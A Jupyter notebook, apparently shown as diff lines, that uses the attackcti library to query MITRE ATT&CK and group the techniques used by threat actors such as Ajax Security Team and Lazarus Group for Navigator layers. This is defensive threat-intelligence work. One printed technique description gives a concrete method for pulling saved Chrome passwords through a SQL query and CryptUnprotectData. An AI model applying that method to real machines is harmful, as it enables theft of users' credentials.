tactic_list.append(phase['phase_name'])\n", - " gt['technique'] = t['name']\n", - " gt['technique_description'] = t['description']\n", - " gt['tactic'] = tactic_list\n", - " gt['technique_id'] = t['external_references'][0]['external_id']\n", - " gt['matrix'] = t['external_references'][0]['source_name']\n", - " if 'x_mitre_platforms' in t.keys():\n", - " gt['platform'] = t['x_mitre_platforms']\n", - " if 'x_mitre_data_sources' in t.keys():\n", - " gt['data_sources'] = t['x_mitre_data_sources']\n", - " if 'x_mitre_permissions_required' in t.keys():\n", - " gt['permissions_required'] = t['x_mitre_permissions_required']\n", - " if 'x_mitre_effective_permissions' in t.keys():\n", - " gt['effective_permissions'] = t['x_mitre_effective_permissions']\n", - " groups_use_techniques.append(gt)\n", - "groups_use_techniques[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Retrive all Techniques used by all Groups - (Automatic)\n", - "-----------------------" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 7.33 s, sys: 148 ms, total: 7.48 s\n", - "Wall time: 11.8 s\n" - ] - } - ], - "source": [ - "from attackcti import attack_client\n", - "lift = attack_client()\n", - "%time techniques_used = lift.get_techniques_used_by_all_groups()" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "2512" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "len(techniques_used)" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'external_references': [{'external_id': 'G0130',\n", - " 'source_name': 'mitre-attack',\n", - " 'url': 'https://attack.mitre.org/groups/G0130'},\n", - " {'source_name': 'Operation Woolen-Goldfish',\n", - " 'description': 'Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)'},\n", - " {'source_name': 'AjaxTM',\n", - " 'description': '(Citation: FireEye Operation Saffron Rose 2013)'},\n", - " {'source_name': 'Rocket Kitten',\n", - " 'description': 'Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)'},\n", - " {'source_name': 'Flying Kitten',\n", - " 'description': '(Citation: CrowdStrike Flying Kitten )'},\n", - " {'source_name': 'Operation Saffron Rose',\n", - " 'description': '(Citation: FireEye Operation Saffron Rose 2013)'},\n", - " {'source_name': 'FireEye Operation Saffron Rose 2013',\n", - " 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf',\n", - " 'description': 'Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.'},\n", - " {'source_name': 'Check Point Rocket Kitten',\n", - " 'url': 'https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf',\n", - " 'description': 'Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.'},\n", - " {'source_name': 'TrendMicro Operation Woolen Goldfish March 2015',\n", - " 'url': 'https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf',\n", - " 'description': 'Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.'},\n", - " {'source_name': 'IranThreats Kittens Dec 2017',\n", - " 'url': 'https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/',\n", - " 'description': 'Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.'},\n", - " {'source_name': 'CrowdStrike Flying Kitten ',\n", - " 'url': 'https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/',\n", - " 'description': 'Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.'}],\n", - " 'description': '[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)',\n", - " 'name': 'Ajax Security Team',\n", - " 'type': 'intrusion-set',\n", - " 'id': 'intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7',\n", - " 'aliases': ['Ajax Security Team',\n", - " 'Operation Woolen-Goldfish',\n", - " 'AjaxTM',\n", - " 'Rocket Kitten',\n", - " 'Flying Kitten',\n", - " 'Operation Saffron Rose'],\n", - " 'modified': '2021-04-22T20:13:14.377Z',\n", - " 'created': '2021-04-14T13:17:43.941Z',\n", - " 'x_mitre_version': '1.0',\n", - " 'technique_ref': 'attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8',\n", - " 'relationship_description': '[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.(Citation: Check Point Rocket Kitten)',\n", - " 'relationship_id': 'relationship--ac196369-5b5b-4e71-805a-3f64f150b1e2',\n", - " 'revoked': False,\n", - " 'technique': 'Credentials from Web Browsers',\n", - " 'technique_description': \"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\\n\\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\\n \\nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\\n\\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\\n\\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\",\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')],\n", - " 'technique_id': 'T1555.003',\n", - " 'matrix': 'mitre-attack',\n", - " 'platform': ['Linux', 'macOS', 'Windows'],\n", - " 'data_sources': ['File: File Access',\n", - " 'Command: Command Execution',\n", - " 'Process: OS API Execution',\n", - " 'Process: Process Access'],\n", - " 'permissions_required': ['User']}" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_used[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Create Navigator Group Layer Files - (Manual)\n", - "-----------------------" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Create a list of group dictionaries\n", - "To make things easier, I create a list of dictionaries where each group name is the main key and the value is a list where I append every single technique involving that group. I get that information from the `get_techniques_used_by_all_groups()` results." - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'Lazarus Group': []}" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "groups = lift.get_groups()\n", - "groups = lift.remove_revoked(groups)\n", - "groups_list = []\n", - "for g in groups:\n", - " group_dict = dict()\n", - " group_dict[g['name']] = []\n", - " groups_list.append(group_dict)\n", - "groups_list[89]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Group techniques by group\n", - "We can then use the output of the `get_techniques_used_by_all_groups()` function and start appending techniques to the dictionaries with the key name that matches the group name being involved with each technique." - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'Lazarus Group': [{'techniqueId': 'T1036.005',\n", - " 'techniqueName': 'Match Legitimate Name or Location',\n", - " 'comment': \"[Lazarus Group](https://attack.mitre.org/groups/G0032) has renamed the [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) main executable to disguise itself as Microsoft's narrator.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)\",\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1583.006',\n", - " 'techniqueName': 'Web Services',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has hosted malicious downloads on Github.(Citation: CISA AppleJeus Feb 2021)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1588.004',\n", - " 'techniqueName': 'Digital Certificates',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has obtained SSL certificates for their C2 domains.(Citation: CISA AppleJeus Feb 2021)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1587.001',\n", - " 'techniqueName': 'Malware',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has developed several custom malware for use in operations.(Citation: CISA AppleJeus Feb 2021)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1583.001',\n", - " 'techniqueName': 'Domains',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has acquired infrastructure related to their campaigns to act as distribution points and C2 channels.(Citation: CISA AppleJeus Feb 2021)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1218.005',\n", - " 'techniqueName': 'Mshta',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used mshta.exe to run malicious scripts and download programs.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1059.001',\n", - " 'techniqueName': 'PowerShell',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used Powershell to download malicious payloads.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1059.005',\n", - " 'techniqueName': 'Visual Basic',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used VBScript to gather information about a victim machine. (Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1027.002',\n", - " 'techniqueName': 'Software Packing',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used Themida to pack at least two separate backdoor implants.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1036.004',\n", - " 'techniqueName': 'Masquerade Task or Service',\n", - " 'comment': 'A [Lazarus Group](https://attack.mitre.org/groups/G0032) custom backdoor implant included a custom PE loader named \"Security Package\" that was added into the lsass.exe process via registry key.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1112',\n", - " 'techniqueName': 'Modify Registry',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has modified registry keys using the reg windows utility for its custom backdoor implants.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1547.005',\n", - " 'techniqueName': 'Security Support Provider',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted victim machines to establish persistence by installing a SSP DLL.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1566.003',\n", - " 'techniqueName': 'Spearphishing via Service',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used fake job advertisements sent via LinkedIn to spearphish victims.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1571',\n", - " 'techniqueName': 'Non-Standard Port',\n", - " 'comment': 'Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1560.003',\n", - " 'techniqueName': 'Archive via Custom Method',\n", - " 'comment': 'A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1491.001',\n", - " 'techniqueName': 'Internal Defacement',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)(Citation: Novetta Blockbuster Destructive Malware)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1562.004',\n", - " 'techniqueName': 'Disable or Modify System Firewall',\n", - " 'comment': 'Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware modifies the Windows firewall to allow incoming connections or disable it entirely using [netsh](https://attack.mitre.org/software/S0108). (Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1001.003',\n", - " 'techniqueName': 'Protocol Impersonation',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1059.003',\n", - " 'techniqueName': 'Windows Command Shell',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses cmd.exe to execute commands on victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: US-CERT SHARPKNOT June 2018)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) uses a batch file mechanism to delete its binaries from the system.(Citation: McAfee GhostSecret)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1529',\n", - " 'techniqueName': 'System Shutdown/Reboot',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted systems after destroying files and wiping the MBR on infected systems.(Citation: US-CERT SHARPKNOT June 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1496',\n", - " 'techniqueName': 'Resource Hijacking',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines.(Citation: Kaspersky Lazarus Under The Hood Blog 2017)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1485',\n", - " 'techniqueName': 'Data Destruction',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a custom secure delete function to overwrite file contents with data from heap memory.(Citation: Novetta Blockbuster)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1561.001',\n", - " 'techniqueName': 'Disk Content Wipe',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.(Citation: Novetta Blockbuster Destructive Malware)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1561.002',\n", - " 'techniqueName': 'Disk Structure Wipe',\n", - " 'comment': \"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.(Citation: US-CERT SHARPKNOT June 2018)(Citation: Novetta Blockbuster)\",\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1489',\n", - " 'techniqueName': 'Service Stop',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.(Citation: Novetta Blockbuster Destructive Malware)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1189',\n", - " 'techniqueName': 'Drive-by Compromise',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) delivered [RATANKBA](https://attack.mitre.org/software/S0241) to victims via a compromised legitimate website.(Citation: RATANKBA)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1124',\n", - " 'techniqueName': 'System Time Discovery',\n", - " 'comment': 'A Destover-like implant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) can obtain the current system time and send it to the C2 server.(Citation: McAfee GhostSecret)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1218.001',\n", - " 'techniqueName': 'Compiled HTML File',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used CHM files to move concealed payloads.(Citation: Kaspersky Lazarus Under The Hood APR 2017)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1566.001',\n", - " 'techniqueName': 'Spearphishing Attachment',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has targeted victims with spearphishing emails containing malicious Microsoft Word documents.(Citation: McAfee Bankshot)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1003.001',\n", - " 'techniqueName': 'LSASS Memory',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) leveraged [Mimikatz](https://attack.mitre.org/software/S0002) to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers.(Citation: Lazarus KillDisk) [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used a custom version [Mimikatz](https://attack.mitre.org/software/S0002) to capture credentials.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1203',\n", - " 'techniqueName': 'Exploitation for Client Execution',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.(Citation: McAfee Bankshot)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1204.002',\n", - " 'techniqueName': 'Malicious File',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.(Citation: McAfee Bankshot)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1071.001',\n", - " 'techniqueName': 'Web Protocols',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware has conducted C2 over HTTP and HTTPS.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1055.001',\n", - " 'techniqueName': 'Dynamic-link Library Injection',\n", - " 'comment': 'A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample performs reflective DLL injection.(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1564.001',\n", - " 'techniqueName': 'Hidden Files and Directories',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a VBA Macro to set its file attributes to System and Hidden and has named files with a dot prefix to hide them from the Finder application.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1547.009',\n", - " 'techniqueName': 'Shortcut Modification',\n", - " 'comment': 'A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample adds persistence on the system by creating a shortcut in the user’s Startup folder.(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1132.001',\n", - " 'techniqueName': 'Standard Encoding',\n", - " 'comment': 'A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encodes data with base64.(Citation: McAfee Lazarus Resurfaces Feb 2018)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1090.002',\n", - " 'techniqueName': 'External Proxy',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) uses multiple proxies to obfuscate network traffic from victims.(Citation: US-CERT FALLCHILL Nov 2017)(Citation: TrendMicro macOS Dacls May 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1134.002',\n", - " 'techniqueName': 'Create Process with Token',\n", - " 'comment': \"[Lazarus Group](https://attack.mitre.org/groups/G0032) keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Tools)\",\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1033',\n", - " 'techniqueName': 'System Owner/User Discovery',\n", - " 'comment': 'Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware enumerates logged-on users.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1065',\n", - " 'techniqueName': 'Uncommonly Used Port',\n", - " 'comment': 'Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1542.003',\n", - " 'techniqueName': 'Bootkit',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'),\n", - " KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1047',\n", - " 'techniqueName': 'Windows Management Instrumentation',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1021.001',\n", - " 'techniqueName': 'Remote Desktop Protocol',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraCharlie uses RDP for propagation.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1048.003',\n", - " 'techniqueName': 'Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol',\n", - " 'comment': '[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': [KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')],\n", - " 'group_id': 'G0032'},\n", - " {'techniqueId': 'T1043',\n", - " 'techniqueName': 'Commonly Used Port',\n", - " 'comment': 'Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)',\n", - " 'tactic': 